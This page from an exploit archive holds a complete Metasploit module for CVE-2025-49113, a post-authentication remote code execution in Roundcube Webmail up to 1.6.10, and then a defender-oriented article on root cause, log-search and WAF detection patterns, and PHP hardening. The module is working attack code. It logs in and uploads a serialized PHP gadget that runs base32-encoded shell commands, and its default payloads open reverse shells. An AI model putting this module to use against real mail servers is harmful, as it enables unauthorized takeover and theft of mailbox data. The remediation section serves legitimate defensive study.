Roundcube 1.6.10 - Remote Code Execution (RCE)

Exploit Author: Maksim Rogov Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Ruby Published Date: 2025-06-13
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
        'Description' => %q{
          Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
          by authenticated users because the _from parameter in a URL is not validated
          in program/actions/settings/upload.php, leading to PHP Object Deserialization.

          An attacker can execute arbitrary system commands as the web server.
        },
        'Author' => [
          'Maksim Rogov', # msf module
          'Kirill Firsov', # disclosure and original exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-49113'],
          ['URL', 'https://fearsoff.org/research/roundcube']
        ],
        'DisclosureDate' => '2025-06-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => [ARCH_CMD],
              'Type' => :nix_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0
      )
      )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
        OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
        OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
        OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
      ]
    )
  end

  class PhpPayloadBuilder
    def initialize(command)
      @encoded = Rex::Text.encode_base32(command)
      @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
    end

    def build
      len = @gpgconf.bytesize
      %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
    end
  end

  def fetch_login_page
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
    res
  end

  def check
    res = fetch_login_page

    unless res.body =~ /"rcversion"\s*:\s*(\d+)/
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
    end

    version = Rex::Version.new(Regexp.last_match(1).to_s)
    print_good("Extracted version: #{version}")

    if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
      return CheckCode::Appears
    elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def build_serialized_payload
    print_status('Preparing payload...')

    stager = case target['Type']
             when :nix_cmd
               payload.encoded
             when :linux_dropper
               generate_cmdstager.join(';')
             else
               fail_with(Failure::BadConfig, 'Unsupported target type')
             end

    serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
    print_good('Payload successfully generated and serialized.')
    serialized
  end

  def exploit
    token = fetch_csrf_token
    login(token)

    payload_serialized = build_serialized_payload
    upload_payload(payload_serialized)
  end

  def fetch_csrf_token
    print_status('Fetching CSRF token...')

    res = fetch_login_page
    html = res.get_html_document

    token_input = html.at('input[name="_token"]')
    unless token_input
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
    end

    token = token_input.attributes.fetch('value', nil)
    if token.blank?
      fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
    end

    print_good("Extracted token: #{token}")
    token
  end

  def login(token)
    print_status('Attempting login...')
    vars_post = {
      '_token' => token,
      '_task' => 'login',
      '_action' => 'login',
      '_url' => '_task=login',
      '_user' => datastore['USERNAME'],
      '_pass' => datastore['PASSWORD']
    }

    vars_post['_host'] = datastore['HOST'] if datastore['HOST']

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => vars_post,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302

    print_good('Login successful.')
  end

  def generate_from
    options = [
      'compose',
      'reply',
      'import',
      'settings',
      'folders',
      'identity'
    ]
    options.sample
  end

  def generate_id
    random_data = SecureRandom.random_bytes(8)
    timestamp = Time.now.to_f.to_s
    Digest::MD5.hexdigest(random_data + timestamp)
  end

  def generate_uploadid
    millis = (Time.now.to_f * 1000).to_i
    "upload#{millis}"
  end

  def upload_payload(payload_filename)
    print_status('Uploading malicious payload...')

    # 1x1 transparent pixel image
    png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
    boundary = Rex::Text.rand_text_alphanumeric(8)

    data = ''
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
    data << "Content-Type: image/png\r\n\r\n"
    data << png_data
    data << "\r\n--#{boundary}--\r\n"

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => data
    })

    print_good('Exploit attempt complete. Check for session.')
  end
end


Roundcube ≤ 1.6.10 — Post‑Auth RCE via PHP Object Deserialization (CVE-2025-49113)

This article explains the Roundcube Webmail deserialization vulnerability (documented as CVE-2025-49113) that allowed authenticated users in affected releases to obtain remote code execution (RCE) via an unvalidated request parameter. It covers the technical root cause, exploitation prerequisites and impact, detection techniques and indicators of compromise (IOCs), and practical remediation and hardening recommendations for administrators and developers.

Executive summary

  • Vulnerability class: PHP object deserialization (unsafe unserialize).
  • Affected versions: Roundcube versions prior to 1.5.10 and 1.6.x before 1.6.11 (i.e., ≤ 1.6.10).
  • Authentication: required — attacker must have valid credentials for a mailbox on the target instance.
  • Impact: authenticated RCE under the web server user, possible system compromise, persistence, and data exfiltration.
  • Mitigation: upgrade to Roundcube 1.6.11+ (or 1.5.10+ where applicable), or apply input validation + safe unserialize usage and server hardening.

How the vulnerability arises (technical root cause)

At its core the issue is unsafely deserializing user‑controlled data that can contain serialized PHP objects. When PHP unserialize() reconstructs objects present in user input, it can invoke object magic methods (e.g., __wakeup, __destruct, __toString) of classes that exist in the application or in included libraries. Those methods can execute code paths that end up running arbitrary commands or performing dangerous file and OS operations.

In the Roundcube case the vulnerable upload handler accepted an unvalidated "_from" request parameter in a URL that was ultimately used in a deserialization context. An authenticated attacker could deliver crafted serialized data that causes a gadget chain when unserialized by the application, leading to arbitrary command execution as the web server user.

Why this is high severity despite “post‑auth” requirement

  • Many deployments accept many users (large organizations, public mail servers) where attacker registration or credential theft is possible.
  • Authenticated RCE is often equivalent to full compromise of the mail server (data exfiltration, persistent access, pivoting).
  • Object deserialization yields powerful exploitation primitives and can be exploited without shell uploads in many cases.

Affected versions (at a glance)

Roundcube branchAffectedNotes
1.5.xVersions < 1.5.10Upgrade to 1.5.10+
1.6.xVersions < 1.6.11 (≤ 1.6.10)Upgrade to 1.6.11+

Exploitation overview (high level)

  • Prerequisite: valid Roundcube user credentials for login or a compromised mailbox account.
  • Authenticate to the web UI and obtain normal session cookies and CSRF token.
  • Submit a specially crafted request that manipulates the vulnerable parameter (for example, an upload request handler parameter such as _from) so that deserialization occurs on attacker‑controlled content.
  • Serialized PHP object payload triggers a gadget chain in Roundcube (or a bundled library) that executes commands on the host.

Because this article is intended for defenders and administrators, the step‑by‑step exploit payloads and full exploit strings are omitted. That prevents easy misuse while still enabling defenders to understand and mitigate the issue.

Detection and Indicators of Compromise (IOCs)

Look for unusual requests to the Roundcube settings/upload endpoint that contain unexpected parameter values or malformed upload attempts. The Metasploit-style modules and PoCs often use a URL with specific GET parameters; monitoring for these patterns is useful.

  • Request patterns to watch for (examples of parameter names and suspicious values):
\?_task=settings&_remote=1&_from=edit-!...
  

Explanation: Attackers often put unusual markers in the _from parameter (for example “edit-!” or other unusual tokens) to trigger different code paths. Monitoring for _remote=1 with unexpected _from values is recommended.

  • Log‑search rules (example grep/regex you can adapt):
  • 
      # Example (adjust to your webserver logs format)
      grep -i "_task=settings" access.log | egrep "_remote=1|_from=.*!|_uploadid"
      

    Explanation: This looks for accesses to the settings upload endpoint combined with odd _from values or upload identifiers, which are often used by exploitation attempts.

  • Server side indicators:
    • Unexpected child processes spawned by the web server user (check ps, auditd, or process accounting).
    • New files created in web root, temporary directories, or home directories indicating dropped payloads.
    • Log entries showing base64/base32 decoding followed by shell invocation — a common technique for staged payloads.

    Secure coding and permanent fixes

    The most reliable mitigation is to upgrade to a patched Roundcube release (1.6.11+ or the fixed 1.5.x release). If a live upgrade is not immediately possible, the following mitigations reduce exposure and attack surface.

    1) Disallow or restrict PHP object deserialization

    Wherever unserialize() is used on data that can be influenced by request parameters or uploaded content, ensure the allowed classes option is used (PHP 7+), or better yet avoid using unserialize() on untrusted data entirely.

    
    // Safe unserialize usage (PHP 7+): disallow object instantiation during unserialize
    $data = /* user-supplied serialized payload */;
    $parsed = @unserialize($data, ['allowed_classes' => false]);
    if ($parsed === false && $data !== serialize(false)) {
        // treat as invalid input
    }
    

    Explanation: Passing the second parameter to unserialize prevents creation of PHP objects during deserialization, reducing the risk of object injection gadget chains. If your application expects objects from trusted sources only, explicitly whitelist specific classes instead of using false.

    2) Strict input validation and whitelisting

    Validate the _from parameter (and similar control fields) against a whitelist of permitted values — never accept freeform strings that later flow into unsafe deserialization contexts.

    
    // Example PHP validation for the _from parameter
    $allowed_from = ['compose','reply','import','settings','folders','identity'];
    $from = isset($_GET['_from']) ? $_GET['_from'] : '';
    // Extract canonical token portion if the app originally supported suffixes like "edit-"
    $from_base = preg_replace('/-.+$/', '', $from);
    if (!in_array($from_base, $allowed_from, true)) {
        http_response_code(400);
        exit('Invalid parameter');
    }
    

    Explanation: This enforces that only expected action tokens are accepted. If your UI historically allows a suffix (e.g., "edit-123"), parse the canonical token first and validate the base token against a whitelist.

    3) Harden file upload handling

    • Restrict file types and validate content by checking MIME type and file signatures, not just extension.
    • Store uploads outside the web root with strict permissions, and serve via a controlled proxy handler if needed.
    • Set a maximum file size and an upload rate to limit abuse.

    4) Runtime hardening and PHP configuration

    • Disable dangerous PHP functions if feasible: exec, shell_exec, system, passthru, popen, proc_open. Note this may break legitimate functionality — test before deploying.
    • Use PHP's open_basedir to restrict filesystem access for the web server process.
    • Apply least privilege to the web server user and separate services wherever possible.

    5) Web Application Firewall (WAF) and network controls

    Use a WAF to block suspicious request patterns such as unexpected control characters, unusual parameter combinations (e.g., _remote=1 with odd _from), or repeated malformed uploads. While a WAF is not a replacement for code fixes, it provides short‑term protection.

    
    # Example WAF rule idea (pseudo-regex; adapt to your WAF syntax)
    Block if request_uri matches "/.*_task=settings.*_remote=1.*_from=.*!/"
    

    Explanation: This rule blocks requests that attempt to access the settings upload routine with unusual _from tokens used by exploitation attempts. Tune carefully to avoid false positives.

    Patch management and operational guidance

    • Upgrade to the fixed Roundcube release as the first and primary remediation step.
    • If upgrading is delayed, apply the temporary mitigations above (disallow object deserialization, input validation, WAF rules).
    • Rotate credentials for any accounts that might be compromised, and force password resets if you detect suspicious activity.
    • Conduct an internal incident response: collect webserver logs, audit process/activity during the suspected window, and search for IOCs described above.
    • Consider full forensic analysis if evidence of code execution or persistence is found (e.g., reverse shells, cron jobs, new users, lateral movement).

    Detection checklist for defenders

    • Search access logs for uploads or requests to _task=settings combined with _remote=1 and unusual _from tokens.
    • Search for base32/base64 decode patterns or suspicious shell invocations in logs.
    • Use Intrusion Detection System (IDS) rules to alert on newly spawned child processes by the web server user or sudden uploads to writable directories.
    • Check for new persistent artifacts (cron jobs, systemd units, SSH keys) under the web server account.

    Developer checklist to prevent future deserialization issues

    • Eliminate unserialize() usage on attacker‑controlled input. Prefer JSON for portable data interchange where possible (json_encode/json_decode).
    • Where object deserialization is unavoidable, strictly control allowed classes with the allowed_classes option and use whitelists.
    • Adopt secure coding reviews and automated static analysis tools to detect dangerous use of unserialize() and other risky patterns.
    • Include fuzzing and unit tests focused on deserialization paths, upload handlers, and any code that interacts with user‑controlled data.

    Frequently asked questions (FAQ)

    Q: Is a public internet‑facing Roundcube instance automatically at risk?

    A: Only instances running affected versions and with valid credentials available to an attacker are directly exploitable. However, any public instance that allows user registration, weak passwords, or where credentials are leaked is at heightened risk.

    Q: I cannot upgrade immediately. What is the fastest remediation?

    A: Add WAF rules to block suspicious request patterns, disable risky PHP functions if possible, and enforce strict input validation around the upload handler. Rotate credentials for admin/mail accounts as a precaution.

    Q: Can PHP configuration alone fully mitigate this class of vulnerability?

    A: PHP configuration (e.g., disabling dangerous functions) raises the bar, but the true fix is to remove unsafe deserialization or restrict it to known safe classes and to patch the application. Defense in depth is recommended.

    Closing notes

    Object deserialization vulnerabilities are a recurring high‑risk class for PHP applications. The most effective long‑term solution is to treat serialized object input as untrusted, prefer safer data formats (JSON), and apply strict whitelisting and server hardening. For Roundcube administrators, prioritize upgrading to the patched version and apply the detection and mitigation steps above to limit exposure and detect any active exploitation.